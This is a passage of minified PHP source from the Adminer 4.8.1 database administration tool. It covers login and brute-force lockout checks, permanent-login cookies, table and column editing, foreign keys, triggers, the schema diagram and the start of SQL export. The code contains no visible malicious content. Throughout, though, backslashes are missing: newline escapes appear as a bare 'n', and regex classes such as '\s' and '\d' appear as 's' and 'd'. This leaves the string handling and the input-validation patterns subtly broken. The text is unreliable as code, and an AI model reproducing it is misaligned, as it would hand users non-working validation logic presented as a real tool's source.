check_invalid_login(){global$b;$ae=unserialize(@file_get_contents(get_temp_dir()."/adminer.invalid"));$Zd=($ae?$ae[$b->bruteForceKey()]:array());$df=($Zd[1]>29?$Zd[0]-time():0);if($df>0)auth_error(lang(84,ceil($df/60)));}$Ja=$_POST["auth"];if($Ja){session_regenerate_id();$Yi=$Ja["driver"];$M=$Ja["server"];$V=$Ja["username"];$F=(string)$Ja["password"];$l=$Ja["db"];set_password($Yi,$M,$V,$F);$_SESSION["db"][$Yi][$M][$V][$l]=true;if($Ja["permanent"]){$z=base64_encode($Yi)."-".base64_encode($M)."-".base64_encode($V)."-".base64_encode($l);$qg=$b->permanentLogin(true);$eg[$z]="$z:".base64_encode($qg?encrypt_string($F,$qg):"");cookie("adminer_permanent",implode(" ",$eg));}if(count($_POST)==1||DRIVER!=$Yi||SERVER!=$M||$_GET["username"]!==$V||DB!=$l)redirect(auth_url($Yi,$M,$V,$l));}elseif($_POST["logout"]&&(!$_d||verify_token())){foreach(array("pwds","db","dbs","queries")as$z)set_session($z,null);unset_permanent();redirect(substr(preg_replace('~b(username|db|ns)=[^&]*&~','',ME),0,-1),lang(85).' '.lang(86));}elseif($eg&&!$_SESSION["pwds"]){session_regenerate_id();$qg=$b->permanentLogin();foreach($eg
as$z=>$X){list(,$gb)=explode(":",$X);list($Yi,$M,$V,$l)=array_map('base64_decode',explode("-",$z));set_password($Yi,$M,$V,decrypt_string(base64_decode($gb),$qg));$_SESSION["db"][$Yi][$M][$V][$l]=true;}}function
unset_permanent(){global$eg;foreach($eg
as$z=>$X){list($Yi,$M,$V,$l)=array_map('base64_decode',explode("-",$z));if($Yi==DRIVER&&$M==SERVER&&$V==$_GET["username"]&&$l==DB)unset($eg[$z]);}cookie("adminer_permanent",implode(" ",$eg));}function
auth_error($n){global$b,$_d;$ph=session_name();if(isset($_GET["username"])){header("HTTP/1.1 403 Forbidden");if(($_COOKIE[$ph]||$_GET[$ph])&&!$_d)$n=lang(87);else{restart_session();add_invalid_login();$F=get_password();if($F!==null){if($F===false)$n.=($n?'<br>':'').lang(88,target_blank(),'<code>permanentLogin()</code>');set_password(DRIVER,SERVER,$_GET["username"],null);}unset_permanent();}}if(!$_COOKIE[$ph]&&$_GET[$ph]&&ini_bool("session.use_only_cookies"))$n=lang(89);$Rf=session_get_cookie_params();cookie("adminer_key",($_COOKIE["adminer_key"]?$_COOKIE["adminer_key"]:rand_string()),$Rf["lifetime"]);page_header(lang(38),$n,null);echo"<form action='' method='post'>n","<div>";if(hidden_fields($_POST,array("auth")))echo"<p class='message'>".lang(90)."n";echo"</div>n";$b->loginForm();echo"</form>n";page_footer("auth");exit;}if(isset($_GET["username"])&&!class_exists("Min_DB")){unset($_SESSION["pwds"][DRIVER]);unset_permanent();page_header(lang(91),lang(92,implode(", ",$kg)),false);page_footer("auth");exit;}stop_session(true);if(isset($_GET["username"])&&is_string(get_password())){list($Fd,$gg)=explode(":",SERVER,2);if(preg_match('~^s*([-+]?d+)~',$gg,$C)&&($C[1]<1024||$C[1]>65535))auth_error(lang(93));check_invalid_login();$g=connect();$m=new
Min_Driver($g);}$_e=null;if(!is_object($g)||($_e=$b->login($_GET["username"],get_password()))!==true){$n=(is_string($g)?h($g):(is_string($_e)?$_e:lang(32)));auth_error($n.(preg_match('~^ | $~',get_password())?'<br>'.lang(94):''));}if($_POST["logout"]&&$_d&&!verify_token()){page_header(lang(83),lang(95));page_footer("db");exit;}if($Ja&&$_POST["token"])$_POST["token"]=$qi;$n='';if($_POST){if(!verify_token()){$Ud="max_input_vars";$Le=ini_get($Ud);if(extension_loaded("suhosin")){foreach(array("suhosin.request.max_vars","suhosin.post.max_vars")as$z){$X=ini_get($z);if($X&&(!$Le||$X<$Le)){$Ud=$z;$Le=$X;}}}$n=(!$_POST["token"]&&$Le?lang(96,"'$Ud'"):lang(95).' '.lang(97));}}elseif($_SERVER["REQUEST_METHOD"]=="POST"){$n=lang(98,"'post_max_size'");if(isset($_GET["sql"]))$n.=' '.lang(99);}function
select($H,$h=null,$Ef=array(),$_=0){global$y;$ze=array();$x=array();$e=array();$Ta=array();$U=array();$I=array();odd('');for($t=0;(!$_||$t<$_)&&($J=$H->fetch_row());$t++){if(!$t){echo"<div class='scrollable'>n","<table cellspacing='0' class='nowrap'>n","<thead><tr>";for($ge=0;$ge<count($J);$ge++){$o=$H->fetch_field();$D=$o->name;$Df=$o->orgtable;$Cf=$o->orgname;$I[$o->table]=$Df;if($Ef&&$y=="sql")$ze[$ge]=($D=="table"?"table=":($D=="possible_keys"?"indexes=":null));elseif($Df!=""){if(!isset($x[$Df])){$x[$Df]=array();foreach(indexes($Df,$h)as$w){if($w["type"]=="PRIMARY"){$x[$Df]=array_flip($w["columns"]);break;}}$e[$Df]=$x[$Df];}if(isset($e[$Df][$Cf])){unset($e[$Df][$Cf]);$x[$Df][$Cf]=$ge;$ze[$ge]=$Df;}}if($o->charsetnr==63)$Ta[$ge]=true;$U[$ge]=$o->type;echo"<th".($Df!=""||$o->name!=$Cf?" title='".h(($Df!=""?"$Df.":"").$Cf)."'":"").">".h($D).($Ef?doc_link(array('sql'=>"explain-output.html#explain_".strtolower($D),'mariadb'=>"explain/#the-columns-in-explain-select",)):"");}echo"</thead>n";}echo"<tr".odd().">";foreach($J
as$z=>$X){$A="";if(isset($ze[$z])&&!$e[$ze[$z]]){if($Ef&&$y=="sql"){$Q=$J[array_search("table=",$ze)];$A=ME.$ze[$z].urlencode($Ef[$Q]!=""?$Ef[$Q]:$Q);}else{$A=ME."edit=".urlencode($ze[$z]);foreach($x[$ze[$z]]as$kb=>$ge)$A.="&where".urlencode("[".bracket_escape($kb)."]")."=".urlencode($J[$ge]);}}elseif(is_url($X))$A=$X;if($X===null)$X="<i>NULL</i>";elseif($Ta[$z]&&!is_utf8($X))$X="<i>".lang(47,strlen($X))."</i>";else{$X=h($X);if($U[$z]==254)$X="<code>$X</code>";}if($A)$X="<a href='".h($A)."'".(is_url($A)?target_blank():'').">$X</a>";echo"<td>$X";}}echo($t?"</table>n</div>":"<p class='message'>".lang(12))."n";return$I;}function
referencable_primary($ih){$I=array();foreach(table_status('',true)as$Rh=>$Q){if($Rh!=$ih&&fk_support($Q)){foreach(fields($Rh)as$o){if($o["primary"]){if($I[$Rh]){unset($I[$Rh]);break;}$I[$Rh]=$o;}}}}return$I;}function
adminer_settings(){parse_str($_COOKIE["adminer_settings"],$rh);return$rh;}function
adminer_setting($z){$rh=adminer_settings();return$rh[$z];}function
set_adminer_settings($rh){return
cookie("adminer_settings",http_build_query($rh+adminer_settings()));}function
textarea($D,$Y,$K=10,$pb=80){global$y;echo"<textarea name='$D' rows='$K' cols='$pb' class='sqlarea jush-$y' spellcheck='false' wrap='off'>";if(is_array($Y)){foreach($Y
as$X)echo
h($X[0])."nnn";}else
echo
h($Y);echo"</textarea>";}function
edit_type($z,$o,$nb,$jd=array(),$Rc=array()){global$Jh,$U,$Ki,$sf;$T=$o["type"];echo'<td><select name="',h($z),'[type]" class="type" aria-labelledby="label-type">';if($T&&!isset($U[$T])&&!isset($jd[$T])&&!in_array($T,$Rc))$Rc[]=$T;if($jd)$Jh[lang(100)]=$jd;echo
optionlist(array_merge($Rc,$Jh),$T),'</select><td><input name="',h($z),'[length]" value="',h($o["length"]),'" size="3"',(!$o["length"]&&preg_match('~var(char|binary)$~',$T)?" class='required'":"");echo' aria-labelledby="label-length"><td class="options">',"<select name='".h($z)."[collation]'".(preg_match('~(char|text|enum|set)$~',$T)?"":" class='hidden'").'><option value="">('.lang(101).')'.optionlist($nb,$o["collation"]).'</select>',($Ki?"<select name='".h($z)."[unsigned]'".(!$T||preg_match(number_type(),$T)?"":" class='hidden'").'><option>'.optionlist($Ki,$o["unsigned"]).'</select>':''),(isset($o['on_update'])?"<select name='".h($z)."[on_update]'".(preg_match('~timestamp|datetime~',$T)?"":" class='hidden'").'>'.optionlist(array(""=>"(".lang(102).")","CURRENT_TIMESTAMP"),(preg_match('~^CURRENT_TIMESTAMP~i',$o["on_update"])?"CURRENT_TIMESTAMP":$o["on_update"])).'</select>':''),($jd?"<select name='".h($z)."[on_delete]'".(preg_match("~`~",$T)?"":" class='hidden'")."><option value=''>(".lang(103).")".optionlist(explode("|",$sf),$o["on_delete"])."</select> ":" ");}function
process_length($we){global$Bc;return(preg_match("~^\s*\(?\s*$Bc(?:\s*,\s*$Bc)*+\s*\)?\s*$~",$we)&&preg_match_all("~$Bc~",$we,$Fe)?"(".implode(",",$Fe[0]).")":preg_replace('~^[0-9].*~','()',preg_replace('~[^-0-9,+()[]]~','',$we)));}function
process_type($o,$lb="COLLATE"){global$Ki;return" $o[type]".process_length($o["length"]).(preg_match(number_type(),$o["type"])&&in_array($o["unsigned"],$Ki)?" $o[unsigned]":"").(preg_match('~char|text|enum|set~',$o["type"])&&$o["collation"]?" $lb ".q($o["collation"]):"");}function
process_field($o,$Ci){return
array(idf_escape(trim($o["field"])),process_type($Ci),($o["null"]?" NULL":" NOT NULL"),default_value($o),(preg_match('~timestamp|datetime~',$o["type"])&&$o["on_update"]?" ON UPDATE $o[on_update]":""),(support("comment")&&$o["comment"]!=""?" COMMENT ".q($o["comment"]):""),($o["auto_increment"]?auto_increment():null),);}function
default_value($o){$Yb=$o["default"];return($Yb===null?"":" DEFAULT ".(preg_match('~char|binary|text|enum|set~',$o["type"])||preg_match('~^(?![a-z])~i',$Yb)?q($Yb):$Yb));}function
type_class($T){foreach(array('char'=>'text','date'=>'time|year','binary'=>'blob','enum'=>'set',)as$z=>$X){if(preg_match("~$z|$X~",$T))return" class='$z'";}}function
edit_fields($p,$nb,$T="TABLE",$jd=array()){global$Vd;$p=array_values($p);$Zb=(($_POST?$_POST["defaults"]:adminer_setting("defaults"))?"":" class='hidden'");$ub=(($_POST?$_POST["comments"]:adminer_setting("comments"))?"":" class='hidden'");echo'<thead><tr>
';if($T=="PROCEDURE"){echo'<td>';}echo'<th id="label-name">',($T=="TABLE"?lang(104):lang(105)),'<td id="label-type">',lang(49),'<textarea id="enum-edit" rows="4" cols="12" wrap="off" style="display: none;"></textarea>',script("qs('#enum-edit').onblur = editingLengthBlur;"),'<td id="label-length">',lang(106),'<td>',lang(107);if($T=="TABLE"){echo'<td id="label-null">NULL
<td><input type="radio" name="auto_increment_col" value=""><acronym id="label-ai" title="',lang(51),'">AI</acronym>',doc_link(array('sql'=>"example-auto-increment.html",'mariadb'=>"auto_increment/",'sqlite'=>"autoinc.html",'pgsql'=>"datatype.html#DATATYPE-SERIAL",'mssql'=>"ms186775.aspx",)),'<td id="label-default"',$Zb,'>',lang(52),(support("comment")?"<td id='label-comment'$ub>".lang(50):"");}echo'<td>',"<input type='image' class='icon' name='add[".(support("move_col")?0:count($p))."]' src='".h(preg_replace("~\?.*~","",ME)."?file=plus.gif&version=4.8.1")."' alt='+' title='".lang(108)."'>".script("row_count = ".count($p).";"),'</thead>
<tbody>
',script("mixin(qsl('tbody'), {onclick: editingClick, onkeydown: editingKeydown, oninput: editingInput});");foreach($p
as$t=>$o){$t++;$Ff=$o[($_POST?"orig":"field")];$hc=(isset($_POST["add"][$t-1])||(isset($o["field"])&&!$_POST["drop_col"][$t]))&&(support("drop_col")||$Ff=="");echo'<tr',($hc?"":" style='display: none;'"),'>
',($T=="PROCEDURE"?"<td>".html_select("fields[$t][inout]",explode("|",$Vd),$o["inout"]):""),'<th>';if($hc){echo'<input name="fields[',$t,'][field]" value="',h($o["field"]),'" data-maxlength="64" autocapitalize="off" aria-labelledby="label-name">';}echo'<input type="hidden" name="fields[',$t,'][orig]" value="',h($Ff),'">';edit_type("fields[$t]",$o,$nb,$jd);if($T=="TABLE"){echo'<td>',checkbox("fields[$t][null]",1,$o["null"],"","","block","label-null"),'<td><label class="block"><input type="radio" name="auto_increment_col" value="',$t,'"';if($o["auto_increment"]){echo' checked';}echo' aria-labelledby="label-ai"></label><td',$Zb,'>',checkbox("fields[$t][has_default]",1,$o["has_default"],"","","","label-default"),'<input name="fields[',$t,'][default]" value="',h($o["default"]),'" aria-labelledby="label-default">',(support("comment")?"<td$ub><input name='fields[$t][comment]' value='".h($o["comment"])."' data-maxlength='".(min_version(5.5)?1024:255)."' aria-labelledby='label-comment'>":"");}echo"<td>",(support("move_col")?"<input type='image' class='icon' name='add[$t]' src='".h(preg_replace("~\?.*~","",ME)."?file=plus.gif&version=4.8.1")."' alt='+' title='".lang(108)."'> "."<input type='image' class='icon' name='up[$t]' src='".h(preg_replace("~\?.*~","",ME)."?file=up.gif&version=4.8.1")."' alt='↑' title='".lang(109)."'> "."<input type='image' class='icon' name='down[$t]' src='".h(preg_replace("~\?.*~","",ME)."?file=down.gif&version=4.8.1")."' alt='↓' title='".lang(110)."'> ":""),($Ff==""||support("drop_col")?"<input type='image' class='icon' name='drop_col[$t]' src='".h(preg_replace("~\?.*~","",ME)."?file=cross.gif&version=4.8.1")."' alt='x' title='".lang(111)."'>":"");}}function
process_fields(&$p){$kf=0;if($_POST["up"]){$qe=0;foreach($p
as$z=>$o){if(key($_POST["up"])==$z){unset($p[$z]);array_splice($p,$qe,0,array($o));break;}if(isset($o["field"]))$qe=$kf;$kf++;}}elseif($_POST["down"]){$ld=false;foreach($p
as$z=>$o){if(isset($o["field"])&&$ld){unset($p[key($_POST["down"])]);array_splice($p,$kf,0,array($ld));break;}if(key($_POST["down"])==$z)$ld=$o;$kf++;}}elseif($_POST["add"]){$p=array_values($p);array_splice($p,key($_POST["add"]),0,array(array()));}elseif(!$_POST["drop_col"])return
false;return
true;}function
normalize_enum($C){return"'".str_replace("'","''",addcslashes(stripcslashes(str_replace($C[0][0].$C[0][0],$C[0][0],substr($C[0],1,-1))),'\'))."'";}function
grant($qd,$sg,$e,$rf){if(!$sg)return
true;if($sg==array("ALL PRIVILEGES","GRANT OPTION"))return($qd=="GRANT"?queries("$qd ALL PRIVILEGES$rf WITH GRANT OPTION"):queries("$qd ALL PRIVILEGES$rf")&&queries("$qd GRANT OPTION$rf"));return
queries("$qd ".preg_replace('~(GRANT OPTION)([^)]*)~','1',implode("$e, ",$sg).$e).$rf);}function
drop_create($lc,$i,$mc,$di,$oc,$B,$Qe,$Oe,$Pe,$of,$bf){if($_POST["drop"])query_redirect($lc,$B,$Qe);elseif($of=="")query_redirect($i,$B,$Pe);elseif($of!=$bf){$Lb=queries($i);queries_redirect($B,$Oe,$Lb&&queries($lc));if($Lb)queries($mc);}else
queries_redirect($B,$Oe,queries($di)&&queries($oc)&&queries($lc)&&queries($i));}function
create_trigger($rf,$J){global$y;$ii=" $J[Timing] $J[Event]".(preg_match('~ OF~',$J["Event"])?" $J[Of]":"");return"CREATE TRIGGER ".idf_escape($J["Trigger"]).($y=="mssql"?$rf.$ii:$ii.$rf).rtrim(" $J[Type]n$J[Statement]",";").";";}function
create_routine($Wg,$J){global$Vd,$y;$N=array();$p=(array)$J["fields"];ksort($p);foreach($p
as$o){if($o["field"]!="")$N[]=(preg_match("~^($Vd)$~",$o["inout"])?"$o[inout] ":"").idf_escape($o["field"]).process_type($o,"CHARACTER SET");}$ac=rtrim("n$J[definition]",";");return"CREATE $Wg ".idf_escape(trim($J["name"]))." (".implode(", ",$N).")".(isset($_GET["function"])?" RETURNS".process_type($J["returns"],"CHARACTER SET"):"").($J["language"]?" LANGUAGE $J[language]":"").($y=="pgsql"?" AS ".q($ac):"$ac;");}function
remove_definer($G){return
preg_replace('~^([A-Z =]+) DEFINER=`'.preg_replace('~@(.*)~','`@`(%|1)',logged_user()).'`~','1',$G);}function
format_foreign_key($r){global$sf;$l=$r["db"];$ff=$r["ns"];return" FOREIGN KEY (".implode(", ",array_map('idf_escape',$r["source"])).") REFERENCES ".($l!=""&&$l!=$_GET["db"]?idf_escape($l).".":"").($ff!=""&&$ff!=$_GET["ns"]?idf_escape($ff).".":"").table($r["table"])." (".implode(", ",array_map('idf_escape',$r["target"])).")".(preg_match("~^($sf)$~",$r["on_delete"])?" ON DELETE $r[on_delete]":"").(preg_match("~^($sf)$~",$r["on_update"])?" ON UPDATE $r[on_update]":"");}function
tar_file($q,$ni){$I=pack("a100a8a8a8a12a12",$q,644,0,0,decoct($ni->size),decoct(time()));$fb=8*32;for($t=0;$t<strlen($I);$t++)$fb+=ord($I[$t]);$I.=sprintf("%06o",$fb)." ";echo$I,str_repeat("",512-strlen($I));$ni->send();echo
str_repeat("",511-($ni->size+511)%512);}function
ini_bytes($Ud){$X=ini_get($Ud);switch(strtolower(substr($X,-1))){case'g':$X*=1024;case'm':$X*=1024;case'k':$X*=1024;}return$X;}function
doc_link($bg,$ei="<sup>?</sup>"){global$y,$g;$nh=$g->server_info;$Zi=preg_replace('~^(d.?d).*~s','1',$nh);$Oi=array('sql'=>"https://dev.mysql.com/doc/refman/$Zi/en/",'sqlite'=>"https://www.sqlite.org/",'pgsql'=>"https://www.postgresql.org/docs/$Zi/",'mssql'=>"https://msdn.microsoft.com/library/",'oracle'=>"https://www.oracle.com/pls/topic/lookup?ctx=db".preg_replace('~^.* (d+).(d+).d+.d+.d+.*~s','12',$nh)."&id=",);if(preg_match('~MariaDB~',$nh)){$Oi['sql']="https://mariadb.com/kb/en/library/";$bg['sql']=(isset($bg['mariadb'])?$bg['mariadb']:str_replace(".html","/",$bg['sql']));}return($bg[$y]?"<a href='".h($Oi[$y].$bg[$y])."'".target_blank().">$ei</a>":"");}function
ob_gzencode($P){return
gzencode($P);}function
db_size($l){global$g;if(!$g->select_db($l))return"?";$I=0;foreach(table_status()as$R)$I+=$R["Data_length"]+$R["Index_length"];return
format_number($I);}function
set_utf8mb4($i){global$g;static$N=false;if(!$N&&preg_match('~butf8mb4~i',$i)){$N=true;echo"SET NAMES ".charset($g).";nn";}}function
connect_error(){global$b,$g,$qi,$n,$kc;if(DB!=""){header("HTTP/1.1 404 Not Found");page_header(lang(37).": ".h(DB),lang(112),true);}else{if($_POST["db"]&&!$n)queries_redirect(substr(ME,0,-1),lang(113),drop_databases($_POST["db"]));page_header(lang(114),$n,false);echo"<p class='links'>n";foreach(array('database'=>lang(115),'privileges'=>lang(71),'processlist'=>lang(116),'variables'=>lang(117),'status'=>lang(118),)as$z=>$X){if(support($z))echo"<a href='".h(ME)."$z='>$X</a>n";}echo"<p>".lang(119,$kc[DRIVER],"<b>".h($g->server_info)."</b>","<b>$g->extension</b>")."n","<p>".lang(120,"<b>".h(logged_user())."</b>")."n";$k=$b->databases();if($k){$dh=support("scheme");$nb=collations();echo"<form action='' method='post'>n","<table cellspacing='0' class='checkable'>n",script("mixin(qsl('table'), {onclick: tableClick, ondblclick: partialArg(tableClick, true)});"),"<thead><tr>".(support("database")?"<td>":"")."<th>".lang(37)." - <a href='".h(ME)."refresh=1'>".lang(121)."</a>"."<td>".lang(122)."<td>".lang(123)."<td>".lang(124)." - <a href='".h(ME)."dbsize=1'>".lang(125)."</a>".script("qsl('a').onclick = partial(ajaxSetHtml, '".js_escape(ME)."script=connect');","")."</thead>n";$k=($_GET["dbsize"]?count_tables($k):array_flip($k));foreach($k
as$l=>$S){$Vg=h(ME)."db=".urlencode($l);$u=h("Db-".$l);echo"<tr".odd().">".(support("database")?"<td>".checkbox("db[]",$l,in_array($l,(array)$_POST["db"]),"","","",$u):""),"<th><a href='$Vg' id='$u'>".h($l)."</a>";$mb=h(db_collation($l,$nb));echo"<td>".(support("database")?"<a href='$Vg".($dh?"&amp;ns=":"")."&amp;database=' title='".lang(67)."'>$mb</a>":$mb),"<td align='right'><a href='$Vg&amp;schema=' id='tables-".h($l)."' title='".lang(70)."'>".($_GET["dbsize"]?$S:"?")."</a>","<td align='right' id='size-".h($l)."'>".($_GET["dbsize"]?db_size($l):"?"),"n";}echo"</table>n",(support("database")?"<div class='footer'><div>n"."<fieldset><legend>".lang(126)." <span id='selected'></span></legend><div>n"."<input type='hidden' name='all' value=''>".script("qsl('input').onclick = function () { selectCount('selected', formChecked(this, /^db/)); };")."<input type='submit' name='drop' value='".lang(127)."'>".confirm()."n"."</div></fieldset>n"."</div></div>n":""),"<input type='hidden' name='token' value='$qi'>n","</form>n",script("tableCheck();");}}page_footer("db");}if(isset($_GET["status"]))$_GET["variables"]=$_GET["status"];if(isset($_GET["import"]))$_GET["sql"]=$_GET["import"];if(!(DB!=""?$g->select_db(DB):isset($_GET["sql"])||isset($_GET["dump"])||isset($_GET["database"])||isset($_GET["processlist"])||isset($_GET["privileges"])||isset($_GET["user"])||isset($_GET["variables"])||$_GET["script"]=="connect"||$_GET["script"]=="kill")){if(DB!=""||$_GET["refresh"]){restart_session();set_session("dbs",null);}connect_error();exit;}if(support("scheme")){if(DB!=""&&$_GET["ns"]!==""){if(!isset($_GET["ns"]))redirect(preg_replace('~ns=[^&]*&~','',ME)."ns=".get_schema());if(!set_schema($_GET["ns"])){header("HTTP/1.1 404 Not Found");page_header(lang(77).": ".h($_GET["ns"]),lang(128),true);page_footer("ns");exit;}}}$sf="RESTRICT|NO ACTION|CASCADE|SET NULL|SET DEFAULT";class
TmpFile{var$handler;var$size;function
__construct(){$this->handler=tmpfile();}function
write($Eb){$this->size+=strlen($Eb);fwrite($this->handler,$Eb);}function
send(){fseek($this->handler,0);fpassthru($this->handler);fclose($this->handler);}}$Bc="'(?:''|[^'\\]|\\.)*'";$Vd="IN|OUT|INOUT";if(isset($_GET["select"])&&($_POST["edit"]||$_POST["clone"])&&!$_POST["save"])$_GET["edit"]=$_GET["select"];if(isset($_GET["callf"]))$_GET["call"]=$_GET["callf"];if(isset($_GET["function"]))$_GET["procedure"]=$_GET["function"];if(isset($_GET["download"])){$a=$_GET["download"];$p=fields($a);header("Content-Type: application/octet-stream");header("Content-Disposition: attachment; filename=".friendly_url("$a-".implode("_",$_GET["where"])).".".friendly_url($_GET["field"]));$L=array(idf_escape($_GET["field"]));$H=$m->select($a,$L,array(where($_GET,$p)),$L);$J=($H?$H->fetch_row():array());echo$m->value($J[0],$p[$_GET["field"]]);exit;}elseif(isset($_GET["table"])){$a=$_GET["table"];$p=fields($a);if(!$p)$n=error();$R=table_status1($a,true);$D=$b->tableName($R);page_header(($p&&is_view($R)?$R['Engine']=='materialized view'?lang(129):lang(130):lang(131)).": ".($D!=""?$D:h($a)),$n);$b->selectLinks($R);$tb=$R["Comment"];if($tb!="")echo"<p class='nowrap'>".lang(50).": ".h($tb)."n";if($p)$b->tableStructurePrint($p);if(!is_view($R)){if(support("indexes")){echo"<h3 id='indexes'>".lang(132)."</h3>n";$x=indexes($a);if($x)$b->tableIndexesPrint($x);echo'<p class="links"><a href="'.h(ME).'indexes='.urlencode($a).'">'.lang(133)."</a>n";}if(fk_support($R)){echo"<h3 id='foreign-keys'>".lang(100)."</h3>n";$jd=foreign_keys($a);if($jd){echo"<table cellspacing='0'>n","<thead><tr><th>".lang(134)."<td>".lang(135)."<td>".lang(103)."<td>".lang(102)."<td></thead>n";foreach($jd
as$D=>$r){echo"<tr title='".h($D)."'>","<th><i>".implode("</i>, <i>",array_map('h',$r["source"]))."</i>","<td><a href='".h($r["db"]!=""?preg_replace('~db=[^&]*~',"db=".urlencode($r["db"]),ME):($r["ns"]!=""?preg_replace('~ns=[^&]*~',"ns=".urlencode($r["ns"]),ME):ME))."table=".urlencode($r["table"])."'>".($r["db"]!=""?"<b>".h($r["db"])."</b>.":"").($r["ns"]!=""?"<b>".h($r["ns"])."</b>.":"").h($r["table"])."</a>","(<i>".implode("</i>, <i>",array_map('h',$r["target"]))."</i>)","<td>".h($r["on_delete"])."n","<td>".h($r["on_update"])."n",'<td><a href="'.h(ME.'foreign='.urlencode($a).'&name='.urlencode($D)).'">'.lang(136).'</a>';}echo"</table>n";}echo'<p class="links"><a href="'.h(ME).'foreign='.urlencode($a).'">'.lang(137)."</a>n";}}if(support(is_view($R)?"view_trigger":"trigger")){echo"<h3 id='triggers'>".lang(138)."</h3>n";$Bi=triggers($a);if($Bi){echo"<table cellspacing='0'>n";foreach($Bi
as$z=>$X)echo"<tr valign='top'><td>".h($X[0])."<td>".h($X[1])."<th>".h($z)."<td><a href='".h(ME.'trigger='.urlencode($a).'&name='.urlencode($z))."'>".lang(136)."</a>n";echo"</table>n";}echo'<p class="links"><a href="'.h(ME).'trigger='.urlencode($a).'">'.lang(139)."</a>n";}}elseif(isset($_GET["schema"])){page_header(lang(70),"",array(),h(DB.($_GET["ns"]?".$_GET[ns]":"")));$Th=array();$Uh=array();$ea=($_GET["schema"]?$_GET["schema"]:$_COOKIE["adminer_schema-".str_replace(".","_",DB)]);preg_match_all('~([^:]+):([-0-9.]+)x([-0-9.]+)(_|$)~',$ea,$Fe,PREG_SET_ORDER);foreach($Fe
as$t=>$C){$Th[$C[1]]=array($C[2],$C[3]);$Uh[]="nt'".js_escape($C[1])."': [ $C[2], $C[3] ]";}$ri=0;$Qa=-1;$ch=array();$Hg=array();$ue=array();foreach(table_status('',true)as$Q=>$R){if(is_view($R))continue;$hg=0;$ch[$Q]["fields"]=array();foreach(fields($Q)as$D=>$o){$hg+=1.25;$o["pos"]=$hg;$ch[$Q]["fields"][$D]=$o;}$ch[$Q]["pos"]=($Th[$Q]?$Th[$Q]:array($ri,0));foreach($b->foreignKeys($Q)as$X){if(!$X["db"]){$se=$Qa;if($Th[$Q][1]||$Th[$X["table"]][1])$se=min(floatval($Th[$Q][1]),floatval($Th[$X["table"]][1]))-1;else$Qa-=.1;while($ue[(string)$se])$se-=.0001;$ch[$Q]["references"][$X["table"]][(string)$se]=array($X["source"],$X["target"]);$Hg[$X["table"]][$Q][(string)$se]=$X["target"];$ue[(string)$se]=true;}}$ri=max($ri,$ch[$Q]["pos"][0]+2.5+$hg);}echo'<div id="schema" style="height: ',$ri,'em;">
<script',nonce(),'>
qs('#schema').onselectstart = function () { return false; };
var tablePos = {',implode(",",$Uh)."n",'};
var em = qs('#schema').offsetHeight / ',$ri,';
document.onmousemove = schemaMousemove;
document.onmouseup = partialArg(schemaMouseup, '',js_escape(DB),'');
</script>
';foreach($ch
as$D=>$Q){echo"<div class='table' style='top: ".$Q["pos"][0]."em; left: ".$Q["pos"][1]."em;'>",'<a href="'.h(ME).'table='.urlencode($D).'"><b>'.h($D)."</b></a>",script("qsl('div').onmousedown = schemaMousedown;");foreach($Q["fields"]as$o){$X='<span'.type_class($o["type"]).' title="'.h($o["full_type"].($o["null"]?" NULL":'')).'">'.h($o["field"]).'</span>';echo"<br>".($o["primary"]?"<i>$X</i>":$X);}foreach((array)$Q["references"]as$ai=>$Ig){foreach($Ig
as$se=>$Eg){$te=$se-$Th[$D][1];$t=0;foreach($Eg[0]as$yh)echo"n<div class='references' title='".h($ai)."' id='refs$se-".($t++)."' style='left: $te"."em; top: ".$Q["fields"][$yh]["pos"]."em; padding-top: .5em;'><div style='border-top: 1px solid Gray; width: ".(-$te)."em;'></div></div>";}}foreach((array)$Hg[$D]as$ai=>$Ig){foreach($Ig
as$se=>$e){$te=$se-$Th[$D][1];$t=0;foreach($e
as$Zh)echo"n<div class='references' title='".h($ai)."' id='refd$se-".($t++)."' style='left: $te"."em; top: ".$Q["fields"][$Zh]["pos"]."em; height: 1.25em; background: url(".h(preg_replace("~\?.*~","",ME)."?file=arrow.gif) no-repeat right center;&version=4.8.1")."'><div style='height: .5em; border-bottom: 1px solid Gray; width: ".(-$te)."em;'></div></div>";}}echo"n</div>n";}foreach($ch
as$D=>$Q){foreach((array)$Q["references"]as$ai=>$Ig){foreach($Ig
as$se=>$Eg){$Te=$ri;$Je=-10;foreach($Eg[0]as$z=>$yh){$ig=$Q["pos"][0]+$Q["fields"][$yh]["pos"];$jg=$ch[$ai]["pos"][0]+$ch[$ai]["fields"][$Eg[1][$z]]["pos"];$Te=min($Te,$ig,$jg);$Je=max($Je,$ig,$jg);}echo"<div class='references' id='refl$se' style='left: $se"."em; top: $Te"."em; padding: .5em 0;'><div style='border-right: 1px solid Gray; margin-top: 1px; height: ".($Je-$Te)."em;'></div></div>n";}}}echo'</div>
<p class="links"><a href="',h(ME."schema=".urlencode($ea)),'" id="schema-link">',lang(140),'</a>
';}elseif(isset($_GET["dump"])){$a=$_GET["dump"];if($_POST&&!$n){$Hb="";foreach(array("output","format","db_style","routines","events","table_style","auto_increment","triggers","data_style")as$z)$Hb.="&$z=".urlencode($_POST[$z]);cookie("adminer_export",substr($Hb,1));$S=array_flip((array)$_POST["tables"])+array_flip((array)$_POST["data"]);$Oc=dump_headers((count($S)==1?key($S):DB),(DB==""||count($S)>1));$de=preg_match('~sql~',$_POST["format"]);if($de){echo"-- Adminer $ia ".$kc[DRIVER]." ".str_replace("n"," ",$g->server_info)." dumpnn";if($y=="sql"){echo"SET NAMES utf8;
SET time_zone = '+00:00';
SET foreign_key_checks = 0;
".($_POST["data_style"]?"SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO';
":"")."
";$g->query("SET time_zone = '+00:00'");$g->query("SET sql_mode = ''");}}$Kh=$_POST["db_style"];$k=array(DB);if(DB==""){$k=$_POST["databases"];if(is_string($k))$k=explode("n",rtrim(str_replace("r","",$k),"n"));}foreach((array)$k
as$l){$b->dumpDatabase($l);if($g->select_db($l)){if($de&&preg_match('~CREATE~',$Kh)&&($i=$g->result("SHOW CREATE DATABASE ".idf_escape($l),1))){set_utf8mb4($i);if($Kh=="DROP+CREATE")echo"DROP DATABASE IF EXISTS ".idf_escape($l).";n";echo"$i;n";}if($de){if($Kh)echo
